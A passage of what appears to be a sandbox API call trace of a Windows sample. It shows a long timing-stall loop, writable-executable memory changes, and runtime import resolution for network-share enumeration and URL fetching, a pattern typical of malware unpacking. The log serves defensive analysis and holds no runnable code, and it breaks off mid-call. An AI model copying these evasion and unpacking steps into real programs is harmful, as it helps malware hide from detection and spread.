GetTickCount () returned 0x183cf [0027.889] GetLastError () returned 0x0 [0027.889] GetTickCount () returned 0x183cf [0027.889] GetLastError () returned 0x0 [0027.889] GetTickCount () returned 0x183cf [0027.889] GetLastError () returned 0x0 [0027.889] GetTickCount () returned 0x183cf [0027.889] GetLastError () returned 0x0 [0027.889] GetTickCount () returned 0x183cf [0027.889] GetLastError () returned 0x0 [0027.889] GetTickCount () returned 0x183cf [0027.889] GetLastError () returned 0x0 [0027.889] GetTickCount () returned 0x183cf [0027.889] GetLastError () returned 0x0 [0027.889] GetTickCount () returned 0x183cf [0027.889] GetLastError () returned 0x0 [0027.889] GetTickCount () returned 0x183cf [0027.889] GetLastError () returned 0x0 [0027.889] GetTickCount () returned 0x183cf [0027.889] GetLastError () returned 0x0 [0027.889] GetTickCount () returned 0x183cf [0027.889] GetLastError () returned 0x0 [0027.889] GetTickCount () returned 0x183cf [0027.889] GetLastError () returned 0x0 [0027.889] GetTickCount () returned 0x183cf [0027.889] GetLastError () returned 0x0 [0027.889] GetTickCount () returned 0x183cf [0027.889] GetLastError () returned 0x0 [0027.889] GetTickCount () returned 0x183cf [0027.889] GetLastError () returned 0x0 [0027.889] GetTickCount () returned 0x183cf [0027.889] GetLastError () returned 0x0 [0027.889] GetTickCount () returned 0x183cf [0027.889] GetLastError () returned 0x0 [0027.889] GetTickCount () returned 0x183cf [0027.889] GetLastError () returned 0x0 [0027.889] GetTickCount () returned 0x183cf [0027.889] GetLastError () returned 0x0 [0027.889] GetTickCount () returned 0x183cf [0027.889] GetLastError () returned 0x0 [0027.889] GetTickCount () returned 0x183cf [0027.889] GetLastError () returned 0x0 [0027.889] GetTickCount () returned 0x183cf [0027.890] GetLastError () returned 0x0 [0027.890] GetTickCount () returned 0x183cf [0027.890] GetLastError () returned 0x0 [0027.890] GetTickCount () returned 0x183cf [0027.890] GetLastError () returned 0x0 [0027.890] GetTickCount () returned 0x183cf [0027.890] GetLastError () returned 0x0 [0027.890] GetTickCount () returned 0x183cf [0027.890] GetLastError () returned 0x0 [0027.890] GetTickCount () returned 0x183cf [0027.890] GetLastError () returned 0x0 [0027.890] GetTickCount () returned 0x183cf [0027.890] GetLastError () returned 0x0 [0027.890] GetTickCount () returned 0x183cf [0027.890] GetLastError () returned 0x0 [0027.890] GetTickCount () returned 0x183cf [0027.890] GetLastError () returned 0x0 [0027.890] GetTickCount () returned 0x183cf [0027.890] GetLastError () returned 0x0 [0027.890] GetTickCount () returned 0x183cf [0027.890] GetLastError () returned 0x0 [0027.890] GetTickCount () returned 0x183cf [0027.890] GetLastError () returned 0x0 [0027.890] GetTickCount () returned 0x183cf [0027.890] GetLastError () returned 0x0 [0027.890] GetTickCount () returned 0x183cf [0027.890] GetLastError () returned 0x0 [0027.890] GetTickCount () returned 0x183cf [0027.890] GetLastError () returned 0x0 [0027.890] GetTickCount () returned 0x183cf [0027.890] GetLastError () returned 0x0 [0027.890] GetTickCount () returned 0x183cf [0027.890] GetLastError () returned 0x0 [0027.890] GetTickCount () returned 0x183cf [0027.890] GetLastError () returned 0x0 [0027.890] GetTickCount () returned 0x183cf [0027.890] GetLastError () returned 0x0 [0027.890] GetTickCount () returned 0x183cf [0027.890] GetLastError () returned 0x0 [0027.890] GetTickCount () returned 0x183cf [0027.890] GetLastError () returned 0x0 [0027.890] GetTickCount () returned 0x183cf [0027.890] GetLastError () returned 0x0 [0027.891] GetTickCount () returned 0x183cf [0027.891] GetLastError () returned 0x0 [0027.891] GetTickCount () returned 0x183cf [0027.891] GetLastError () returned 0x0 [0027.891] GetTickCount () returned 0x183cf [0027.891] GetLastError () returned 0x0 [0027.891] GetTickCount () returned 0x183cf [0027.891] GetLastError () returned 0x0 [0027.891] GetTickCount () returned 0x183cf [0027.891] GetLastError () returned 0x0 [0027.891] GetTickCount () returned 0x183cf [0027.891] GetLastError () returned 0x0 [0027.891] GetTickCount () returned 0x183cf [0027.891] GetLastError () returned 0x0 [0027.891] GetTickCount () returned 0x183cf [0027.891] GetLastError () returned 0x0 [0027.891] GetTickCount () returned 0x183cf [0027.891] GetLastError () returned 0x0 [0027.891] GetTickCount () returned 0x183cf [0027.891] GetLastError () returned 0x0 [0027.891] GetTickCount () returned 0x183cf [0027.891] GetLastError () returned 0x0 [0027.891] GetTickCount () returned 0x183cf [0027.891] GetLastError () returned 0x0 [0027.891] GetTickCount () returned 0x183cf [0027.891] GetLastError () returned 0x0 [0027.891] GetTickCount () returned 0x183cf [0027.891] GetLastError () returned 0x0 [0027.891] GetTickCount () returned 0x183cf [0027.891] GetLastError () returned 0x0 [0027.891] GetTickCount () returned 0x183cf [0027.891] GetLastError () returned 0x0 [0027.891] GetTickCount () returned 0x183cf [0027.891] GetLastError () returned 0x0 [0027.891] GetTickCount () returned 0x183cf [0027.891] GetLastError () returned 0x0 [0027.891] GetTickCount () returned 0x183cf [0027.891] GetLastError () returned 0x0 [0027.891] GetTickCount () returned 0x183cf [0027.891] GetLastError () returned 0x0 [0027.891] GetTickCount () returned 0x183cf [0027.891] GetLastError () returned 0x0 [0027.891] GetTickCount () returned 0x183cf [0027.891] GetLastError () returned 0x0 [0027.892] GetTickCount () returned 0x183cf [0027.892] GetLastError () returned 0x0 [0027.892] GetTickCount () returned 0x183cf [0027.892] GetLastError () returned 0x0 [0027.892] GetTickCount () returned 0x183cf [0027.892] GetLastError () returned 0x0 [0027.892] GetTickCount () returned 0x183cf [0027.892] GetLastError () returned 0x0 [0027.892] GetTickCount () returned 0x183cf [0027.892] GetLastError () returned 0x0 [0027.892] GetTickCount () returned 0x183cf [0027.892] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.892] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.892] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.892] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.892] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.892] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.892] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.892] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.892] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.892] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.892] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.892] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.892] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.893] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.893] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.893] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.893] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.893] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.893] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.893] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.893] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.893] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.893] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.893] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.893] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.893] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.893] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.893] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.893] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.893] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.893] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.893] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.893] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.893] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.893] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.893] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.893] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.893] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.893] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.893] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.893] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.893] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.894] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.894] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.894] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.894] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.894] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.894] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.894] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.894] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.894] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.894] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.894] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.894] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.894] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.894] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.894] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.894] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.894] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.894] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.894] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.894] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.894] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.894] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.894] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.894] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.894] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.894] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.894] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.894] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.895] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.895] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.895] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.895] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.895] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.895] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.895] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.895] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.895] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.895] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.895] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.895] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.895] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.895] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.895] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.895] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.895] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.895] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.895] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.895] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.895] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.895] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.895] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.895] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.895] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.895] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.895] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.895] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.895] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.895] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.895] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.896] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.896] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.896] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.896] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.896] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.896] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.896] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.896] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.896] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.896] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.896] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.896] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.896] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.896] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.896] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.896] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.896] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.896] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.896] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.896] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.896] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.896] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.896] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.896] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.896] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.896] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.896] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.896] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.896] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.896] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.897] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.897] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.897] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.897] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.897] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.897] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.897] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.897] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.897] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.897] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.897] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.897] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.897] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.897] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.897] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.897] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.897] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.897] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.897] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.897] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.897] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.897] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.897] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.897] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.897] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.897] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.897] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.897] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.897] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.898] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.898] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.898] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.898] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.898] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.898] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.898] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.898] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.898] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.898] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.898] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.898] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.898] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.898] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.898] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.898] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.898] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.898] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.898] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.898] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.898] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.898] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.898] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.898] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.898] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.898] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.898] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.898] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.899] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.899] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.899] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.899] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.899] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.899] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.899] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.899] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.899] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.899] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.899] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.899] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.899] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.899] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.899] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.899] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.899] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.899] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.899] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.899] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.899] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.899] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.899] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.899] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.899] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.899] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.899] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.899] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.899] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.900] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.900] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.900] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.900] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.900] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.900] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.908] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.908] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.908] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.909] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.909] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.909] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.909] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.909] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.909] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.909] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.909] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.909] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.909] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.909] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.909] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.909] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.909] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.909] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.909] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.909] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.909] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.909] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.909] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.909] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.909] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.909] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0027.976] LocalAlloc (uFlags=0x0, uBytes=0x44ae0) returned 0x5f2598 [0027.980] LocalAlloc (uFlags=0x0, uBytes=0x44ae0) returned 0x637080 [0027.985] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0027.986] VirtualProtect (in: lpAddress=0x637080, dwSize=0x33828, flNewProtect=0x40, lpflOldProtect=0x18d794 | out: lpflOldProtect=0x18d794*=0x4) returned 1 [0028.008] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0028.008] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalAlloc") returned 0x76c3588e [0028.008] GetProcAddress (hModule=0x76c20000, lpProcName="GetLastError") returned 0x76c311c0 [0028.008] GetProcAddress (hModule=0x76c20000, lpProcName="Sleep") returned 0x76c310ff [0028.008] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0028.008] GetProcAddress (hModule=0x76c20000, lpProcName="CreateToolhelp32Snapshot") returned 0x76c5735f [0028.008] GetProcAddress (hModule=0x76c20000, lpProcName="Module32First") returned 0x76cb5cd9 [0028.008] GetProcAddress (hModule=0x76c20000, lpProcName="CloseHandle") returned 0x76c31410 [0028.008] CreateToolhelp32Snapshot (dwFlags=0x8, th32ProcessID=0x0) returned 0x5c [0028.017] Module32First (hSnapshot=0x5c, lpme=0x18fc80) returned 1 [0028.018] VirtualAlloc (lpAddress=0x0, dwSize=0x5fa50, flAllocationType=0x1000, flProtect=0x40) returned 0x270000 [0028.026] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryA") returned 0x76c349d7 [0028.026] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0028.027] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0028.027] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualProtect") returned 0x76c3435f [0028.027] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualFree") returned 0x76c3186e [0028.027] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersionExA") returned 0x76c33519 [0028.027] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0028.027] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0028.027] GetProcAddress (hModule=0x76c20000, lpProcName="SetErrorMode") returned 0x76c31b00 [0028.027] SetErrorMode (uMode=0x400) returned 0x0 [0028.027] SetErrorMode (uMode=0x0) returned 0x400 [0028.027] GetVersionExA (in: lpVersionInformation=0x18ebb0*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x65006564, dwMinorVersion=0x7373, dwBuildNumber=0x3, dwPlatformId=0xffffffff, szCSDVersion="s}\x16w") | out: lpVersionInformation=0x18ebb0*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0028.027] VirtualAlloc (lpAddress=0x0, dwSize=0x5ec00, flAllocationType=0x1000, flProtect=0x4) returned 0x370000 [0028.033] VirtualProtect (in: lpAddress=0x400000, dwSize=0x7a000, flNewProtect=0x40, lpflOldProtect=0x18fc38 | out: lpflOldProtect=0x18fc38*=0x2) returned 1 [0028.050] VirtualFree (lpAddress=0x370000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0028.052] LoadLibraryA (lpLibFileName="RPCRT4.dll") returned 0x75ee0000 [0028.052] GetProcAddress (hModule=0x75ee0000, lpProcName="RpcStringFreeW") returned 0x75f01635 [0028.052] GetProcAddress (hModule=0x75ee0000, lpProcName="UuidToStringW") returned 0x75f21ee5 [0028.052] GetProcAddress (hModule=0x75ee0000, lpProcName="UuidToStringA") returned 0x75f5d918 [0028.052] GetProcAddress (hModule=0x75ee0000, lpProcName="RpcStringFreeA") returned 0x75f23fc5 [0028.052] GetProcAddress (hModule=0x75ee0000, lpProcName="UuidCreate") returned 0x75eff48b [0028.052] LoadLibraryA (lpLibFileName="MPR.dll") returned 0x74b50000 [0028.144] GetProcAddress (hModule=0x74b50000, lpProcName="WNetCloseEnum") returned 0x74b52dd6 [0028.144] GetProcAddress (hModule=0x74b50000, lpProcName="WNetOpenEnumW") returned 0x74b52f06 [0028.144] GetProcAddress (hModule=0x74b50000, lpProcName="WNetEnumResourceW") returned 0x74b53058 [0028.144] LoadLibraryA (lpLibFileName="WININET.dll") returned 0x753d0000 [0030.585] GetProcAddress (hModule=0x753d0000, lpProcName="InternetCloseHandle") returned 0x753eab49 [0030.585] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenUrlW") returned 0x7544be5c [0030.585] GetProcAddress (hModule=0x753d0000, lpProcName="InternetReadFile") returned 0x753eb406 [0030.585] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenUrlA") returned 0x754130f1 [0030.585] GetProcAddress (hModule=0x753d0000, lpProcName="HttpQueryInfoW") returned 0x753f5c75 [0030.585] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenA") returned 0x753ff18e [0030.585] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenW") returned 0x753f9197 [0030.585] LoadLibraryA (lpLibFileName="WINMM.dll") returned 0x74b10000 [0030.743] GetProcAddress (hModule=0x74b10000, lpProcName="timeGetTime") returned 0x74b126e0 [0030.743] LoadLibraryA 